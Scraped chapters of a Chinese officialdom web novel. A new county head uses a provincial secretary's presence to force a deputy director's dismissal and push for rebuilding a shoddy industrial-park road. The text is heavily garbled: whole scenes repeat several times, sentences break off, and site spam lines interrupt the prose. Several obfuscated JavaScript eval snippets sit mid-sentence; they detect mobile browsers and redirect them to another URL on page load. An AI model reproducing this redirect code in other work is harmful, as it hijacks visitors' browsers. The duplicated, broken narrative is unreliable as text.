会议开展了一个多小时后,进入人事议题。 王革说完,看向了组织部长蒋正。 “合适人选有三人,分别是张虎,鲁思文,葛占军。 张虎是现任南吴镇的镇长,有丰富的南吴镇工作经验.” 接下来,组织部长对三人的工作履历,情况,做出了具体介绍。 “鲁思文同志,近几年在联义乡的工作进步很大,是一个非常有学识,胆识的同志。 现在都提倡干部年轻化,他是几人中年纪最小,发展空间最大的干部,我建议鲁思文同志担任!” 在组织部长介绍后,**部长李春生率先发表意见。 明眼人都知道,他是在当陈红旗的马前卒! “今天召开县委**会,主要研究几项重点工作,先庆典一下到会情况。” 县委**讲话,按照流程,进行会议主题。 **讲话结束后,县委办主任开始汇报,应到**几名,实到**几名,符合规定,开始会议。 紧接着,就是会议精神,贯彻落实等等的官话。 然后开展各项议题。 李承全程抱着了解和学习的精神,去听讲。 他刚到风林县一周的时间,除非管委会之外,很多事件,很多地区他都不了解。 也就不需要开口插话。 “南吴镇的镇委**即将到期卸任,关于新任镇委**一职,组织部有几个人选,大家表决一下。” 会议开展了一个多小时后,进入人事议题。 王革说完,看向了组织部长蒋正。 “合适人选有三人,分别是张虎,鲁思文,葛占军。 张虎是现任南吴镇的镇长,有丰富的南吴镇工作经验.” 接下来,组织部长对三人的工作履历,情况,做出了具体介绍。 “鲁思文同志,近几年在联义乡的工作进步很大,是一个非常有学识,胆识的同志。 现在都提倡干部年轻化,他是几人中年纪最小,发展空间最大的干部,我建议鲁思文同志担任!” 在组织部长介绍后,**部长李春生率先发表意见。 明眼人都知道,他是在当陈红旗的马前卒! “今天召开县委**会,主要研究几项重点工作,先庆典一下到会情况。” 县委**讲话,按照流程,进行会议主题。 **讲话结束后,县委办主任开始汇报,应到**几名,实到**几名,符合规定,开始会议。 紧接着,就是会议精神,贯彻落实等等的官话。 然后开展各项议题。 李承全程抱着了解和学习的精神,去听讲。 他刚到风林县一周的时间,除非管委会之外,很多事件,很多地区他都不了解。 也就不需要开口插话。 “南吴镇的镇委**即将到期卸任,关于新任镇委**一职,组织部有几个人选,大家表决一下。” 会议开展了一个多小时后,进入人事议题。 王革说完,看向了组织部长蒋正。 “合适人选有三人,分别是张虎,鲁思文,葛占军。 张虎是现任南吴镇的镇长,有丰富的南吴镇工作经验.” 接下来,组织部长对三人的工作履历,情况,做出了具体介绍。 “鲁思文同志,近几年在联义乡的工作进步很大,是一个非常有学识,胆识的同志。 现在都提倡干部年轻化,他是几人中年纪最小,发展空间最大的干部,我建议鲁思文同志担任!” 在组织部长介绍后,**部长李春生率先发表意见。 明眼人都知道,他是在当陈红旗的马前卒! 第307章 任人唯亲 在官场规则中,**发表态度,投票,一般都是由排名末位的**先发表意见,进行投票。 这是为了防止一把手先入为主,先定调子,逼着其他**跟投。 在**会议上,一把手都是最后讲话,发表意见。 最末位**是县委办公室主任,其次才是**部长,李春生先讲话,其中有靠拢陈红旗的意图。 李春生是在去年末担任**部长,成为县委**。 入**后,他一直在主动融入陈红旗的圈子,但他和李承,王革一样,都属于外地人。 本地派对于这些外来官员,是接纳,也排斥。 接纳,是为了多拉一张选票。 排斥,是对李春生不知根知底,那个小圈子的基调早就定下了,**部长除了一张投票权,又没什么实权,那些本地派也不愿多理睬他。 毕竟,本地派势大,牢牢掌握足够的票权,李春生的加入,只是锦上添花,有他没他一样。 但李春生清楚,想在风林县有发展,有进步,就必须融入本地派,他一直在迫切地表现着。 即便齐秘书在,他也不收敛他的迫切。 也正因为齐秘书在,他才要更卖力地在陈红旗面前表现,做那个出头鸟! 在齐秘书面前,投票给鲁思文,李春生是顶着压力的。 因为,在这三人中,鲁思文的资历最浅薄。 张虎是镇长,熟悉全镇情况,他接任镇委**,做一把手,那是第一顺位。 葛占军是县农业农村局的二把手副局长,从副科到正科,从副职到一把手,是实打实的提拔。 但南吴镇是农业大镇,葛占军毕业于西北农业科技大学,专业功底扎实,与南吴镇发展对口,同样是镇委**的合适人选。 鲁思文跟前两位比起来,就太过不起眼了。 他是联义乡的副乡长,副科级。 没有张虎的顺位性,也没有葛占军的专业对口。 他能出现在这个人选名单里,完全是因为与本地派的关系,是任人唯亲的**现状。 鲁思文唯一优势就是年纪小,符合提倡的干部年轻化。 “南吴镇是农业大镇,葛占军的专业对口,又有丰富的农业农村局工作经验,我觉得他更能胜任南吴镇的镇委**。” 李春生讲过话后,县委办公室主任冯刚也提出了自己的想法。 紧接着,宣传部长,政法委**等县委**,分别发表自己的意见。 大多数,都倾 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 向于鲁思文。 当然,为了在齐秘书面前演出戏,避免一言堂的锋芒太露,张虎和葛占军的名字,也频繁出现在‘本地派’**的口中。 “李县长,你有什么看法?” 到陈红旗讲话时,他并没有谈论这三人,而是将目光看向李承。 “我刚上任,对这三人的基本情况不了解,就不多评论了。”李承微微一笑,敷衍而过。 “嗯。” 陈红旗点了下头,转向王革,等待对方发言。 “大家投票吧。” 王革同样没有谈论三人,直接宣布投票。 因为他清楚,人选已经是内定的了。 南吴镇的镇委**人事任命,早已经有了定数! “下面,对张虎同志拟任南吴镇镇委**职务一事,进行举手表决!同意张虎同志任职的,请举手!” “好,请放下!” “不同意的,请举手!” “嗯,请放下。” “弃权的,请举手!” “请放下。” “接下来,对葛占军同志拟任南吴镇镇委**职务一事,进行举手表决” 在县委**王革的组织投票下,县委**们,做出了自己的投票选择。 张虎拿到了三张赞同票,五张反对票,三张弃权票。 葛占军拿到了两张赞同票,六张反对票,和三张弃权票。 鲁思文则拿到了六张赞同票,两张反对票,三张弃权票。 这一结果,还是因为齐秘书列席**会议,本地派收敛下的结果。 但鲁思文仍以大票数优势,拿下了南吴镇,镇委**一职。 而自始至终,李承始终投的是弃权票。 “经表决,鲁思文同志同意票数超过半数, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252645|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表决通过,同意鲁思文同志任南吴镇镇委**职务!” 王革宣布结果。 他的表情古井无波,他心里不认同鲁思文,觉得鲁思文最没有资格,可他也无可奈何。 “接下来,我们聊一下关于风林产业园区的道路基建问题。” 王革没有票权,就等于没有决策权。 但身为县委**,将一些议题事件放在**会议上商量,这是他的工作,是职权范围。 李承跟他打过招呼,要谈产业园区的问题,他也愿意帮李承做个提前铺垫。 “据县委了解,施工方产业园区在道路基建上,存在一定的偷工减料行为,我们商量一下处理方式。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 王革说完,目光看向李承:“李县长,你是产业园区的负责人,你跟大家讲讲情况。” “我上任后,对产业园区的基建情况,进行了一次深入了解,在道路基建上,施工方旗胜建筑存在严重的偷工减料行为。 道路检测报告,我已经递交给了王**,大家可以看一下。” 这份道路检测报告,是**在位时,检测的结果。 李承上任后,催促过检测部门。 但检测部门和韩帅等人都是串通一气,故意拖延时间,迟迟没有结果。 好在,上次跟**谈话时,**提到过,她曾对道路进行过质检,手里有报告备份。 李承拿到了这份报告,所以,他一直也就没有催促过质检部门。 “冯主任,你给大家发一下。” 王革将一沓报告递给办公室主任冯刚,说。 “好的**。” 冯刚站起身,给每位县委**都分发了一份。 李承特意多复印了两份,给列席会议的齐秘书也留了出来。 陈红旗接过报告,看完上面的数据后,脸色阴沉。 他冷厉的目光看向李承,那种充满警告的目光,在李承的脸上足足盯了七八秒后,才挪开到齐秘书身上。 他看着齐秘书专心致志地看报告,心情更加沉重! 他知道,自己被李承算计了! 第308章 会议持续 “道路基建是产业园区后续发展的根基,道路修不好,日后产业落地,隐患将源源不断,维修成本和对企业影响产生的损失,将不可估量。 所以,我的建议是及时止损!” 李承的目光从每位县委**的脸上掠过,最终定格在陈红旗的脸上。 他目光异常坚定。 李承知道,这样做会得罪陈红旗,及其背后的本地派系。 可为了产业园区的发展,他不得不这么做。 “李县长的心情,我可以理解,道路修建成这个样子,也不是我们在座的每一位领导班子成员愿意看到的结果。 但我们现在面临的情况,是苏南省的政策收紧。 产业园区即将进入企业落地的攻坚战,这个时候,如果再去重建道路,如同自乱阵脚,这更不利于企业的落地。” 县委专职**常远,提出了反对意见。 他站在产业落地的角落,去考量道路重建这件事,合情合理。 “企业落地的问题,我考虑在内了,所以我建议是有规划的去重建,我们可以将产业园区分为几大片区。 一个片区一个片区的重建,重建一个片区,企业落地一个片区。 这样,就可以在合理的建设和时间安排下,实现企业落地和道路重建两大重任!” 李承说出自己想法后,继续补充:“这条道路必须要重建,这是园区的命脉。 省里对风林县产业园区抱着很大期望,也给予了很多政策上,和资金上支持。 这是风林县脱离贫困县的一次机会,这也可能是风林县近几十年来,唯一的一次机会。 所以,在产业园区建设上,我认为,不能有半点的马虎和糊弄。 说好听一点,我们要对得起省委省政府的支持,也要对得起风林县的百姓,更要对得起我们的党性和初心。 说难听点,如果因为道路问题,导致产业园区发展受阻,上面追究下来,责任人还是我们这届的领导班子。” 李承掷地有声。 这是他第一次参与决策性的**会议,他要崭露头角,树立威信的同时,还要以绝对性的方式,用言语堵住他们任何反驳的发言。 因为李承很清楚一点。 齐秘书可能只会列席参加这一次**会议。 这个问题,必须要在齐秘书在场时解决,如果齐秘书出了这个门,没有****的威慑,重建修路将难如登天。 听完李承的话,县委**们,陷入短暂的 听说看这本书的人都是很幸运的,分享后你的运气会更棒 沉默。 “我支持李县长的提议,有问题,就要及时改正问题,要从根里消除这些隐患! 县委**王革开口,为李承站队。 常务副县长崔学文摆出了一副看戏的姿态,好像这件事与他无关。 其余本地派系的**,目光纷纷看向了陈红旗。 “现在这个阶段开始道路重建,我认为弊大于利。 刚才常**的发言,我是认可的,产业落地攻坚战在即,如果让这些企业看到我们的园区道路,还未投入使用,就进行返工,那么,这在某种程度会打击企业对政府的信心。 何况,我们风林县要承载的,是南陵市的重工业体,行驶在这条道路上的,都是几十吨的重型货车。 再坚固的道路,也经不住这些大家伙的折腾。 不如到时候以打补丁的方式,进行修路,我认为,李县长提出的片区整改制度要实际的很多。 陈红旗点燃一根香烟,一边吸,一边发言。 他的诡辩能力也很强,有种无理辩三分的感觉。 “咳咳.我打断一下。 陈红旗讲话结束,齐秘书轻咳一声,打断会议。 齐秘书目光看向李承,询问:“李县长,这份报告中,没有地下管网的质检结果。 我想问一下,地下管网的质检如何? “地下管网的质检过关,达到国家标准。李承回道。 齐秘书微微点头,说:“你们继续。 “只要基础打得够踏实,即便道路承压大,至少在十年内,不会出现太大的问题。 但现在这条路如果投入使用,满负荷状态,别说十年,可能一年,可能几个月都扛不住! 李承进行了反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252646|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驳,在争取园区建设的问题上,他的态度不容置疑。 “能承受多久,不能用推测的方式作为说辞,要看实际效果,我觉得,这件事可能今天的**会议上不能达成共识,要不先散会吧。 陈红旗掐灭香烟,不想再继续说下去。 齐秘书在场,这对陈红旗和本地派是一种无形的压力,他们想拖延过去。 “既然不能达成共识,那就通过投票的方式解决。 能不能散会,陈红旗说的不算,要王革开口。 王革很清楚,就算是投票,这条道路也未必能重建。 毕竟,陈红旗掌握着半数以上的票权。 但他要用这种方式,将陈红旗一言堂的行为,通过齐秘书的嘴,传到**** 你的朋友正在书荒,快去帮帮他吧 的耳朵里! “王**,现在投票太草率了,大多数**还没有认真分析过其中利害,这需要时间。 不如顺延一天,给**们一个准备的时间。”专职副**常远开口劝道。 “嗯,那也好。” 王革无奈,只好点头答应,他的目光看向李承,问:“李县长,你说呢?” “我没意见。” 这种时候,李承再去激进,就显得不那么理智了。 他也只好答应。 “还有一件事,道路成为今天的情况,一些人需要承担责任,尤其是负责基建工程的管委会副主任韩帅。 他作为工程第一负责人,没有起到监管作用,在我下达停工审查命令后,也一直拖延,绝不执行。 甚至在上班期间,去喝大酒,今天还被我和齐秘书撞了一个正着。 像这种同志,不能再继续胜任副主任一职。 我建议,免去韩帅管委会副主任一职,并对他进行一次纪律调查!” 这个**会,李承有两个目的。 一是重建道路,显然,在这场会议上,很难落实。 重建道路,对旗胜建筑的损失太大,直接触碰到了陈红旗的利益。 第二个目的,就是免去韩帅的职位。 这一目的,他势在必得! 第309章 手腕 闻言,陈红旗心情沉闷下来。 他原本的计划,是让韩帅跟李承在管委会对着干,他在人事任命上力保韩帅。 这样,就能打击李承在管委会的威信。 让管委会全体工作人员更加深刻地认识到,谁才是真正的话事人。 从而,彻底架空李承。 但陈红旗没想到,李承在这个年纪,展现出了老练的**手腕。 利用齐秘书,来打破这次**会议上的一言堂局面! 而韩帅又过于不争气。 在这个节骨眼上,工作时间喝大酒,还被****的秘书撞见。 这回,他就算想保韩帅,也不能。 否则,就是彻底是**面前撕下他‘一言堂’的伪装! “韩帅同志的问题,我也了解过,像这种没有责任心,没有党纪的同志,必须要严惩。 我支持李县长的提议,撤除韩帅同志管委会副主任的职位,让纪委的同志去严查严办!” 陈红旗很明白弃车保帅的道理。 而一个小小的韩帅,也算不上他这盘棋中的车,就是一个小卒。 在齐秘书面前,他为了保持他原则性强的一面,该弃就弃! 李承看着陈红旗正义凛然的样子,嘴角泛起一抹微笑。 陈红旗的态度,在意料之外,也在情理之中。 “分管基建工程,却任由施工方偷工减料,这是懒政,还是**结,要查明。 曹**,这件事就辛苦你了。” 王革看向纪委**曹海涛,说。 “嗯。” 县委**和县长,一致认可了李承的提议,在针对韩帅的问题上,已然没有了悬念。 “李县长,你觉得,谁有能力接替韩帅?”王革询问道。 李承主管管委会,基建工程的副主任,安排一个他信任的人,方便日后开展工作。 但李承刚到风林县一个礼拜,真正参与到管委会的工作,也就三天的时间。 他没有自己的班底,也没有信任的人。 孙建有投奔他的意思,但孙建的职位同样很重要。 将他从管委会的**副**,调任到基建工程副主任,实在没必要。 但这个职位,李承必须要提名一个人选上去。 无论能不能成功,他都要提。 对此,李承有自己的打算。 “我觉得,管委会基建工程部门的汪莱同志就很不错,踏实能干,而且在检举韩帅的违纪上, 他还做出了贡献。”李承提议道。 李承提名汪莱,原因很简单。 一,他无人可选。 二,汪莱在酒楼内,算是出卖了韩帅,虽说他是被迫的,但别人不知道。 李承故意将水搅浑,让汪莱被排挤出他原本的队伍中,逼着他站队自己! “汪莱同志的资历太浅了,不适合。” 陈红旗摇了摇头,分管基建工程的副主任,这个位置对陈红旗很重要,他不能让这个位置,落到李承队伍的手里。 原本,汪莱还在他的备选名单中。 可李承的一番言论后,他对汪莱失去了信任。 “我在管委会工作时间短,了解的人不多,也就提个意见,我听组织上的安排。” 李承没再坚持,避其锋芒。 他的目的已经达到了,其余的,无所谓了。 长达两个小时的**会议结束。 李承对于这场会议的结果,很满意。 虽说,道路重建的问题没有落实,但这一点,李承也只是抱着试一试的心态,早就做好了落空的打算。 不过,风林县领导班子的现状,在这场会议上,收入了齐秘书的眼睛里,会传达**周**的耳朵里。 这能够让周安对风林县提高重视,是好事。 最重要一点,韩帅被免职了。 这代表,李承新官上任的第一把火,烧起来了。 他的威信树立起来了。 这将成为李承正式执掌管委会的重要一步棋! “齐秘书,刘主任,时间也不早了,晚上就在县里用餐吧,我们在聊聊工作上的问题。” 李承对齐秘书和**发出邀请。 他们两个人跟着自己辛苦一天,李承总不能连顿饭都不安排,这不符合礼仪。 “不了。” 齐秘书摆了摆手,婉拒道:“李县长,我和**还要向周**汇报工作,总不好让领导多等。” 拿领导当幌子,这是秘书的管用手段。 李承当省长秘书时,也经常使用。 “那好,你们路上注意安全,今天辛苦你们了。” 送走齐秘书和**,李承站在**大院的办公楼前,点燃了一根香烟。 他看了一眼腕表上的时间,距离下班还有将近一个小时。 “李县长,你今天让我刮目相看,不愧是当过省长秘书的人,手腕和人脉都很厉害。” 正当李承准备让朱师傅来接自己回管委会时,陈红旗 的声音从他身后响起。 李承转过身,对陈红旗,崔学文等人微微一笑,回道:“还要多谢陈县长在会议上的支持。” “呵呵.” 陈红旗笑了笑。 他不想支持李承撤掉韩帅的提议,可他这位‘一言堂’领导,今天却被李承逼到别无他选。 在陈红旗的笑容中,没有笑意,藏着浓郁的警告。 陈红旗等人只是路过,并没有跟李承多交谈,就离开了。 李承等了一会儿,他的公务帕萨特停在了面前。 “领导。” 刘婷快速下车,给李承拉开后排车门。 李承坐了进去,对朱师傅吩咐:“回管委会。” “领导,今天这个**会,有什么重要的事件吗?”刘婷好奇地问。 身为联络员,如此不懂分寸的,李承还是第一次见。 想来,陈红旗给他挑选联络员时,就认准了一个‘人美能干’和听他话,能力和脑子,一点没在考虑范围内。 “小刘,你的一些问题,我不得不批评你几句。”李承表情严肃。 周末,刘婷给他发暧昧消息,导致他和许梦吵架的事情上,李承就对她很不爽了,已经有了换掉她的想法。 可她却还往枪口上撞。 “作为秘书,多听,多想,少问是这最基本的,我是你的领导,不是你的秘书。 难不成还要什么事情,我都先向你进行汇报吗?” 李承严厉地批评道:“我觉得,你并不能胜任联络员这个职位!” 的声音从他身后响起。 李承转过身,对陈红旗,崔学文等人微微一笑,回道:“还要多谢陈县长在会议上的支持。” “呵呵.” 陈红旗笑了笑。 他不想支持李承撤掉韩帅的提议,可他这位‘一言堂’领导,今天却被李承逼到别无他选。 在陈红旗的笑容中,没有笑意,藏着浓郁的警告。 陈红旗等人只是路过,并没有跟李承多交谈,就离开了。 李承等了一会儿,他的公务帕萨特停在了面前。 “领导。” 刘婷快速下车,给李承拉开后排车门。 李承坐了进去,对朱师傅吩咐:“回管委会。” “领导,今天这个**会,有什么重要的事件吗?”刘婷好奇地问。 身为联络员,如此不懂分寸的,李承还是第一次见。 想来,陈红旗给他挑选联络员时,就认准了一个‘人美能干’和听他话,能力和脑子,一点没在考虑范围内。 “小刘,你的一些问题,我不得不批评你几句。”李承表情严肃。 周末,刘婷给他发暧昧消息,导致他和许梦吵架的事情上,李承就对她很不爽了,已经有了换掉她的想法。 可她却还往枪口上撞。 “作为秘书,多听,多想,少问是这最基本的,我是你的领导,不是你的秘书。 难不成还要什么事情,我都先向你进行汇报吗?” 李承严厉地批评道:“我觉得,你并不能胜任联络员这个职位!” 的声音从他身后响起。 李承转过身,对陈红旗,崔学文等人微微一笑,回道:“还要多谢陈县长在会议上的支持。” “呵呵.” 陈红旗笑了笑。 他不想支持李承撤掉韩帅的提议,可他这位‘一言堂’领导,今天却被李承逼到别无他选。 在陈红旗的笑容中,没有笑意,藏着浓郁的警告。 陈红旗等人只是路过,并没有跟李承多交谈,就离开了。 李承等了一会儿,他的公务帕萨特停在了面前。 “领导。” 刘婷快速下车,给李承拉开后排车门。 李承坐了进去,对朱师傅吩咐:“回管委会。” “领导,今天这个**会,有什么重要的事件吗?”刘婷好奇地问。 身为联络员,如此不懂分寸的,李承还是第一次见。 想来,陈红旗给他挑选联络员时,就认准了一个‘人美能干’和听他话,能力和脑子,一点没在考虑范围内。 “小刘,你的一些问题,我不得不批评你几句。”李承表情严肃。 周末,刘婷给他发暧昧消息,导致他和许梦吵架的事情上,李承就对她很不爽了,已经有了换掉她的想法。 可她却还往枪口上撞。 “作为秘书,多听,多想,少问是这最基本的,我是你的领导,不是你的秘书。 难不成还要什么事情,我都先向你进行汇报吗?” 李承严厉地批评道:“我觉得,你并不能胜任联络员这个职位!” 的声音从他身后响起。 李承转过身,对陈红旗,崔学文等人微微一笑,回道:“还要多谢陈县长在会议上的支持。” “呵呵.” 陈红旗笑了笑。 他不想支持李承撤掉韩帅的提议,可他这位‘一言堂’领导,今天却被李承逼到别无他选。 在陈红旗的笑容中,没有笑意,藏着浓郁的警告。 陈红旗等人只是路过,并没有跟李承多交谈,就离开了。 李承等了一会儿,他的公务帕萨特停在了面前。 “领导。” 刘婷快速下车,给李承拉开后排车门。 李承坐了进去,对朱师傅吩咐:“回管委会。” “领导,今天这个**会,有什么重要的事件吗?”刘婷好奇地问。 身为联络员,如此不懂分寸的,李承还是第一次见。 想来,陈红旗给他挑选联络员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252647|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,就认准了一个‘人美能干’和听他话,能力和脑子,一点没在考虑范围内。 “小刘,你的一些问题,我不得不批评你几句。”李承表情严肃。 周末,刘婷给他发暧昧消息,导致他和许梦吵架的事情上,李承就对她很不爽了,已经有了换掉她的想法。 可她却还往枪口上撞。 “作为秘书,多听,多想,少问是这最基本的,我是你的领导,不是你的秘书。 难不成还要什么事情,我都先向你进行汇报吗?” 李承严厉地批评道:“我觉得,你并不能胜任联络员这个职位!” 的声音从他身后响起。 李承转过身,对陈红旗,崔学文等人微微一笑,回道:“还要多谢陈县长在会议上的支持。” “呵呵.” 陈红旗笑了笑。 他不想支持李承撤掉韩帅的提议,可他这位‘一言堂’领导,今天却被李承逼到别无他选。 在陈红旗的笑容中,没有笑意,藏着浓郁的警告。 陈红旗等人只是路过,并没有跟李承多交谈,就离开了。 李承等了一会儿,他的公务帕萨特停在了面前。 “领导。” 刘婷快速下车,给李承拉开后排车门。 李承坐了进去,对朱师傅吩咐:“回管委会。” “领导,今天这个**会,有什么重要的事件吗?”刘婷好奇地问。 身为联络员,如此不懂分寸的,李承还是第一次见。 想来,陈红旗给他挑选联络员时,就认准了一个‘人美能干’和听他话,能力和脑子,一点没在考虑范围内。 “小刘,你的一些问题,我不得不批评你几句。”李承表情严肃。 周末,刘婷给他发暧昧消息,导致他和许梦吵架的事情上,李承就对她很不爽了,已经有了换掉她的想法。 可她却还往枪口上撞。 “作为秘书,多听,多想,少问是这最基本的,我是你的领导,不是你的秘书。 难不成还要什么事情,我都先向你进行汇报吗?” 李承严厉地批评道:“我觉得,你并不能胜任联络员这个职位!” 的声音从他身后响起。 李承转过身,对陈红旗,崔学文等人微微一笑,回道:“还要多谢陈县长在会议上的支持。” “呵呵.” 陈红旗笑了笑。 他不想支持李承撤掉韩帅的提议,可他这位‘一言堂’领导,今天却被李承逼到别无他选。 在陈红旗的笑容中,没有笑意,藏着浓郁的警告。 陈红旗等人只是路过,并没有跟李承多交谈,就离开了。 李承等了一会儿,他的公务帕萨特停在了面前。 “领导。” 刘婷快速下车,给李承拉开后排车门。 李承坐了进去,对朱师傅吩咐:“回管委会。” “领导,今天这个**会,有什么重要的事件吗?”刘婷好奇地问。 身为联络员,如此不懂分寸的,李承还是第一次见。 想来,陈红旗给他挑选联络员时,就认准了一个‘人美能干’和听他话,能力和脑子,一点没在考虑范围内。 “小刘,你的一些问题,我不得不批评你几句。”李承表情严肃。 周末,刘婷给他发暧昧消息,导致他和许梦吵架的事情上,李承就对她很不爽了,已经有了换掉她的想法。 可她却还往枪口上撞。 “作为秘书,多听,多想,少问是这最基本的,我是你的领导,不是你的秘书。 难不成还要什么事情,我都先向你进行汇报吗?” 李承严厉地批评道:“我觉得,你并不能胜任联络员这个职位!” 的声音从他身后响起。 李承转过身,对陈红旗,崔学文等人微微一笑,回道:“还要多谢陈县长在会议上的支持。” “呵呵.” 陈红旗笑了笑。 他不想支持李承撤掉韩帅的提议,可他这位‘一言堂’领导,今天却被李承逼到别无他选。 在陈红旗的笑容中,没有笑意,藏着浓郁的警告。 陈红旗等人只是路过,并没有跟李承多交谈,就离开了。 李承等了一会儿,他的公务帕萨特停在了面前。 “领导。” 刘婷快速下车,给李承拉开后排车门。 李承坐了进去,对朱师傅吩咐:“回管委会。” “领导,今天这个**会,有什么重要的事件吗?”刘婷好奇地问。 身为联络员,如此不懂分寸的,李承还是第一次见。 想来,陈红旗给他挑选联络员时,就认准了一个‘人美能干’和听他话,能力和脑子,一点没在考虑范围内。 “小刘,你的一些问题,我不得不批评你几句。”李承表情严肃。 周末,刘婷给他发暧昧消息,导致他和许梦吵架的事情上,李承就对她很不爽了,已经有了换掉她的想法。 可她却还往枪口上撞。 “作为秘书,多听,多想,少问是这最基本的,我是你的领导,不是你的秘书。 难不成还要什么事情,我都先向你进行汇报吗?” 李承严厉地批评道:“我觉得,你并不能胜任联络员这个职位!” 第310章 撤职 “领导,我错了。” 被李承严厉批评,甚至察觉到对方准备换掉自己,刘婷慌了:“我以后一定少问,多学,领导,您再给我一次机会好不好?” 说着说着,她的声音里带起了哭腔。 李承眉头微蹙,道:“记住,摆正自己的位置,不要越线!” 李承不是因为刘婷的哭腔而心软,他现在还没有合适的人选,去顶替刘婷的位置。 其次,刘婷是陈红旗的人。 在讨论产业园区问题上,李承与陈红旗已经闹出矛盾,这个时候撤掉刘婷,不合适。 “领导,我知道了,以后我一定听您的话。”刘婷垂着头,说。 “嗯。” 李承微微点头,吩咐道:“通知管委会的领导层,到大会议室等我。” “好的领导。” 人事任命已经有了定数,第一把火,烧起来了。 下一步,就要在全体会议上,树立新威。 路上,李承拿起手机,给陈红旗发了一条微信:【陈县长,下班后有时间吗?我想请您吃个饭。】 陈红旗是风林县的‘一言堂’领导,李承不想跟他闹太僵。 所以,关系需要缓和。 打个巴掌,也该给个甜枣。 【可以。】陈红旗回复两个字。 【晚上六点,凤玺楼,可以吗?还有您有其他想吃的吗?】李承问。 【嗯,就这吧。】 【好,那我定包厢。】 李承关掉电话,再次对刘婷吩咐:“小刘,让凤玺楼留个包厢。” “好。” 回到管委会。 李承抵达会议室时,各个部门的负责人都已经到位。 “小刘,统计一下,人都到齐了吗?” 李承坐在办公桌的主位上,目光环视一圈。 “规划建设局的王局长还没有到。” 刘婷按照名单,统计了一圈后,汇报道。 “不等他了,现在开会。” 几个核心领导班子已经到齐,其余人,无所谓。 “今天这场会议,主要围绕一个议题开展,就是管委会的党纪作风问题! 我们产业园区,是省里定下来的风林县发展核心关键园区,是未来全县的经济命脉。 在座的每一位同志,身上都扛着风林县未来的重任! 管委会领导班子的组成,是全县各个部门抽调出骨干力量,你们能进入管委会工作,是党和政府对你们的信 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 任。 但是!” 李承声音到这里停顿下来,他犀利的目光落在韩帅的身上:“有些同志,身在要位,却不谋其事。 存在非常严重的懒政,违纪行为! 上级吩咐的事情,迟迟拖延不落实,整日沉迷于纸醉金迷。 实事一样不做,每天只想着糊弄工作,糊弄组织,像这样的同志,必须彻底清除管委会的领导队伍里!” 李承此言一出,有的人低下头,有的人将目光投向韩帅。 大家都知道,李承说的人是谁。 韩帅铁青着脸,不敢反驳。 “我说的是哪位同志,我想大家心里都有数。 但我这个人,不怕得罪人,他自己都不要脸了,我也没必要给他留什么面子。 我说的就是分管基建工程的韩帅,韩副主任!” 李承直接点名批评。 在**里,基本不会出现大会上,点名批评某个领导班子成员的情况。 要给对方留最后一层面子,也是给彼此之间,留一个缓和的空间,方便日后工作的开展。 但李承今天要立威,那就要打破惯例,以最严肃的方式,给所有人一个警告! “李县长,我工作期间喝酒是我的错,但我也是为了产业园区的发展做协调工作。 风林县的风气就这样,大家谈事情,只有在酒桌上谈才能更顺利。 你是汉江来的,对我们风林的情况不了解,但你应该入乡随俗,去理解我们,去了解风林县。” 本来他不想反驳李承。 可李承点了他的名字,逼着他不得不站出来。 “党纪之下,没有乡俗之说,这不是你的正当借口,而且,你的问题也不止于此! 因为你的懒政行为,导致产业园区道路质量严重脱节,你责任重大得很呐!” 李承扫了他一眼,没有跟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260108|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出过多争辩,直接宣布道:“经组织决定,撤除韩帅同志在管委会的任何职务。 关于韩帅同志的违纪问题,孙建同志,你配合县纪委,开展调查!” “是,李县长。”孙建答应道。 “李承,你是不是太小题大做了一些,你要是看我不顺眼就直说,没必要搞这一套。 新官上任三把火是吧?想在我身上立威风是吧?我告诉你,没那么容易! 我韩帅不是被吓的,而且,你没有权力撤我的职,想撤我,让县委组织部下文件!” 韩帅怒拍桌子,站了起来,跟李承叫 